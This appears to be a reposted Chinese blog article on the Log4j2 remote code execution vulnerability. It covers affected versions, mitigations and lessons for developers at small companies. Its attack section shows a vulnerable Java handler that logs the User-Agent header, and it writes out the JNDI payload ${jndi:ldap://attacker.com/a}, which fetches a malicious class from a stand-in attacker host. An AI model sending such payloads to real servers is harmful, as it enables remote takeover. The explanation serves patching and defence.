事件背景
12月10日,看到朋友圈中已經有人在通宵修改、上線系統了。隨即,又看到阿里云安全、騰訊安全部門發出的官方報告:”Apache Log4j2存在遠程代碼執行漏洞“,且漏洞已對外公開。
看到相關消息,馬上爬起來把所有項目的日志系統過濾一遍,還好老項目采用的log4j,新項目采用的logback,沒有中招。隨后就看到朋友圈鋪天蓋地的相關消息。
作為一個史詩級的事件,緊急修改漏洞是必然的。作為程序員,如果看到這則消息,連去核查一下系統都做不到,那真的不是一個合格的程序員。
經歷過這次事件,不僅是看熱鬧而已,還要思考一下,作為小公司如何避免、提前預防、做好準備應對這類Bug。
漏洞描述
Apache Log4j2是一款優秀的Java日志框架,與Logback平分秋色,大量主流的開源框架采用了Log4j2,像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。所以,這樣一個底層框架出現問題,影響面可想而知。
漏洞信息:Apache Log4j 2.15.0-rc1 版本存在漏洞繞過,需及時更新至 Apache Log4j 2.15.0-rc2 版本。
影響范圍:2.0 <= Apache log4j2 <= 2.14.1。
最新修復版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
補救方案
方案一:升級版本,發布系統;
方案二:臨時補救:
- 修改JVM參數,設置 -Dlog4j2.formatMsgNoLookups=true。
- 在涉及漏洞的項目的類路徑(classpath)下增加log4j2.component.properties配置文件并增加配置項log4j2.formatMsgNoLookups=true。
- 將系統環境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置為 true。
攻擊原理
攻擊偽代碼示例:
- import org.apache.log4j.Logger;
- import java.io.*;
- import java.sql.SQLException;
- import java.util.*;
- public class VulnerableLog4jExampleHandler implements HttpHandler {
- static Logger log = Logger.getLogger(log4jExample.class.getName());
- /**
- * 示例偽代碼:一個簡單的HTTP端點,其中讀取User Agent信息并進行日志記錄;
- */
- public void handle(HttpExchange he) throws IOException {
- // 獲取user-agent信息
- String userAgent = he.getRequestHeader("user-agent");
- // 此行記錄日志的代碼,通過記錄攻擊者控制的HTTP用戶代理標頭來觸發RCE。
- // 攻擊者可以設置他們的User-Agent header到${jndi:ldap://attacker.com/a}
- log.info("Request User Agent:" + userAgent);
- String response = "<h1>Hello There, " + userAgent + "!</h1>";
- he.sendResponseHeaders(200, response.length());
- OutputStream os = he.getResponseBody();
- os.write(response.getBytes());
- os.close();
- }
- }
基于上述代碼的基本攻擊步驟:
- 請求對應的HTTP端點(或接口),在請求信息中攜帶攻擊代碼(比如,在user-agent中攜帶${jndi:ldap://attacker.com/a});
- 服務器在通過Log4j2執行日志記錄時,記錄中包含了基于JNDI和LDAP的惡意負載${jndi:ldap://attacker.com/a},其中attacker.com是攻擊者控制的地址。
- 記錄日志操作觸發向攻擊者控制的地址發送請求。
- 對應請求返回在響應中返回可執行的惡意代碼,注入到服務器進程當中。比如返回,https://attacker.com/Attack.class 。
- 進而執行腳本控制服務器。
騰訊安全專家的復現如下:
log4j2漏洞復現
小公司程序員能做些什么?
關于漏洞及解決方案,上面已經詳細聊了,問題基本得以解決。在大的互聯網企業,是有專門的安全運維部門來監控、掃描這些漏洞的。但在小公司,很顯然沒有這樣的條件。
那么,我們該怎么辦?同時,作為事件的經歷者,你是否思考過這個事件中反映出的一些其他問題嗎?
第一,是否第一時間得到消息?
在大企業,一旦發現這樣的漏洞,安全部門會第一時間進行通知。但在小企業,沒有安全部門,你是如何獲取到漏洞的消息的呢?
比如我所在的企業,是沒有安全部門的,但也幾乎是第一時間得知漏洞消息,進行系統排查的。
作為程序員,如果漏洞消息已經爆出很久,你卻一無所知,那就應該反思一下朋友圈的質量以及對技術熱點的關注度問題了。
如何獲得圈內第一手消息,取決于也反映著你在社交圈或技術圈所處的位置與現狀。
第二,是否置若罔聞?
很多朋友可能也看到了這則漏洞消息,但也就是看一下熱鬧,然后該干嘛干嘛了,系統有漏洞就有漏洞了唄~
如果你是如此,或你的團隊是如此,你真的需要反省一下職業素養問題了。
很多人可能覺得自己很牛,覺得自己懷才不遇,覺得工資收入低,覺得被虧待……那么,對照一下對這件事所作出的反應,基本就知道自己是不是被虧待了。
第三,如何應對突發事件?
這樣的突發事件,也是對系統運維、團隊管理的一個考驗,也是一個仿真練習:大家都正在進行著當前業務的開發,有一個突發Bug要修改,改一半的代碼如何操作?如大面積發布?
第一,改一半的代碼怎么辦?如果你的團隊的代碼開發都是基于master(主干)進行開發、提交代碼,針對這樣的突發事件,必然會面對改了一半的代碼,提交了,想一起發布但還沒測試,這種騎虎難下的局面。
所以,代碼的管理(如何打分支、合并分支、分支與主干代碼不同環境的發布)必須得從日常的點滴做起,當突發事件發生時,也不至于手忙腳亂。
第二,有大量項目需要發布怎么辦?當然,最古老的方式就是一個系統一個系統手動發布。如果是微服務及應用較多,不僅容易出現錯誤,而且耗時較長。這就提醒我們,構建自動化發布流程的重要性。
第四,怎么找出系統漏洞?
有安全部門的公司,會定期掃描系統漏洞,那么沒有安全部門的公司只能坐以待斃嗎?
其實,還是有一些方法可以發現系統的一些漏洞的。比如,勤關注使用框架的版本升級、利用三方提供的漏洞掃描(比如阿里云服務器的安全掃描)、與同行交流等手段。
小結
任何一個漏洞對軟件系統來說都有可能是致命的,也需要我們謹慎對待的。對于漏洞的處理及做出的反應也是從業者職業素養的體現。
而如果能從一次次突發事件中學習、思考到更多內容,你將比別人更快的成長。
原文鏈接:https://mp.weixin.qq.com/s/XbEqWdS0h5KyfITS1Xubhw